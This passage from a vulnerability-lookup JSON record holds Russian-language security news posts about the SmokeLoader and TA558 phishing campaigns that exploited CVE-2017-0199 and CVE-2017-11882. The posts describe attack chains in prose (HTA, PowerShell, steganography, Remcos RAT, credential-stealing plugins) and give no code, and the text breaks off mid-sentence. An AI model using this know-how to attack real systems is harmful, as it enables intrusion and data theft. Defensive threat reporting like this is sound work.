"source": "https://t.me/itsec_news/4881", "content": "\u200b\u26a1\ufe0f9 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0445\u0430\u043e\u0441\u0430: SmokeLoader \u0440\u0430\u0437\u0440\u0443\u0448\u0430\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0443 \u0431\u0438\u0437\u043d\u0435\u0441\u0430\n\n\ud83d\udcac \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 FortiGuard Labs \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b SmokeLoader \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0422\u0430\u0439\u0432\u0430\u043d\u0435. \u041f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u043b\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u0441\u0444\u0435\u0440\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, IT \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0439. SmokeLoader \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u0432\u043e\u0435\u0439 \u0433\u0438\u0431\u043a\u043e\u0441\u0442\u044c\u044e: \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0438\u043b\u0438 \u0441\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043c\u043e\u0434\u0443\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.\n\n\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0430\u0441\u044c \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0434\u0430\u0432\u0430\u043b\u0438 \u0437\u0430 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041f\u0438\u0441\u044c\u043c\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0441\u0442\u043d\u044b\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043d\u043e \u0438\u043c\u0435\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0438\u0441\u044c\u043c\u0430\u0445 \u0438 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u0432 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n\u0414\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Microsoft Office. \u041f\u0435\u0440\u0432\u0430\u044f, CVE-2017-0199 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.8), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u0442\u043e\u0440\u0430\u044f, CVE-2017-11882 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.8), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0447\u0435\u0440\u0435\u0437 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u0444\u043e\u0440\u043c\u0443\u043b. \u0421\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0441\u0434\u0435\u043b\u0430\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0442\u0440\u0443\u0434\u043d\u043e\u0439 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u0430\u0442\u0430\u043a\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 HTA-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 PowerShell, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u2014 AndeLoader. \u042d\u0442\u043e\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u043b \u0434\u0430\u043d\u043d\u044b\u0435, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438, \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u043b \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c.\n\nSmokeLoader \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b 9 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0437\u0430\u0434\u0430\u0447. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u0431\u044b\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0445\u0438\u0449\u0430\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u0438, \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 FTP-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u043b \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448 (\u043a\u0435\u0439\u043b\u043e\u0433\u0433\u0438\u043d\u0433) \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0431\u0443\u0444\u0435\u0440\u0430 \u043e\u0431\u043c\u0435\u043d\u0430, \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u0434\u0430\u043b\u044f\u043b cookie-\u0444\u0430\u0439\u043b\u044b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438. \u041f\u043b\u0430\u0433\u0438\u043d\u044b \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 Firefox, Chrome, Outlook, Thunderbird \u0438 FileZilla, \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0438 \u0438\u0445 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0431\u044b\u043b \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c\u0438, \u0443\u0434\u0430\u043b\u044f\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0447\u0438\u043a\u0438 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u041e\u0441\u043e\u0431\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0441\u0432\u043e\u0451 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435. \u041e\u0434\u0438\u043d \u0438\u0437 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e SmokeLoader \u2014 \u044d\u0442\u043e \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u0434 \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0430\u0442\u0430\u043a. \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u043a\u0430\u043a \u043c\u043e\u0434\u0443\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435, \u0447\u0435\u043c \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u0432\u0438\u0440\u0443\u0441\u044b. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0442\u0430\u043a\u0438\u0445 \u0443\u0433\u0440\u043e\u0437 Fortinet \u0441\u043e\u0432\u0435\u0442\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u0438 \u043e\u0431\u0443\u0447\u0430\u0442\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-03T19:09:55.000000Z"}, {"uuid": "c0a9895f-9f13-4c8e-8025-4364e992f790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/itsec_news/5367", "content": "\u200b\u26a1\ufe0f\u0422\u0410558 \u0443\u0434\u0430\u0440\u0438\u043b\u0430 \u043f\u043e \u043c\u0438\u0440\u0443: 76 000 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0437\u0430 \u0434\u0435\u043d\u044c\n\n\ud83d\udcac \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f F.A.C.C.T. \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0443\u044e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0422\u0410558. \u0410\u0442\u0430\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 27 \u044f\u043d\u0432\u0430\u0440\u044f \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435, \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432, \u0437\u0430 \u043e\u0434\u0438\u043d \u0434\u0435\u043d\u044c \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 76 \u0442\u044b\u0441\u044f\u0447 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0432 112 \u0441\u0442\u0440\u0430\u043d \u043c\u0438\u0440\u0430. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0438\u0441\u044c\u043c\u0430\u0445 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c HTA-\u0444\u0430\u0439\u043b \u0441\u043e \u0441\u043a\u0440\u044b\u0442\u044b\u043c \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c VBS-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 Remcos RAT. \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0422\u0410558 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 2018 \u0433\u043e\u0434\u0430 \u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u043c\u0438 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u0412 2024 \u0433\u043e\u0434\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b F.A.C.C.T. Threat Intelligence \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0442\u044b\u0441\u044f\u0447\u0438 \u0430\u0442\u0430\u043a \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0431\u0430\u043d\u043a\u0438. \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u2013 \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u0420\u0430\u043d\u0435\u0435, \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2024 \u0433\u043e\u0434\u0430, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Positive Technologies \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 320 \u0430\u0442\u0430\u043a, \u0441\u043e\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 TA558. \u0422\u043e\u0433\u0434\u0430 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e SteganoAmor, \u0446\u0435\u043b\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u043b\u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438\u0441\u044c \u0441 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 Microsoft Office, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882. \u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 Visual Basic-\u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0432\u0448\u0438\u0439 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0441\u044f \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u0430\u043b\u0435\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PowerShell \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u043b\u0430\u0441\u044c \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430, \u0434\u0430\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u2013 \u043c\u0435\u0442\u043e\u0434\u0430 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f 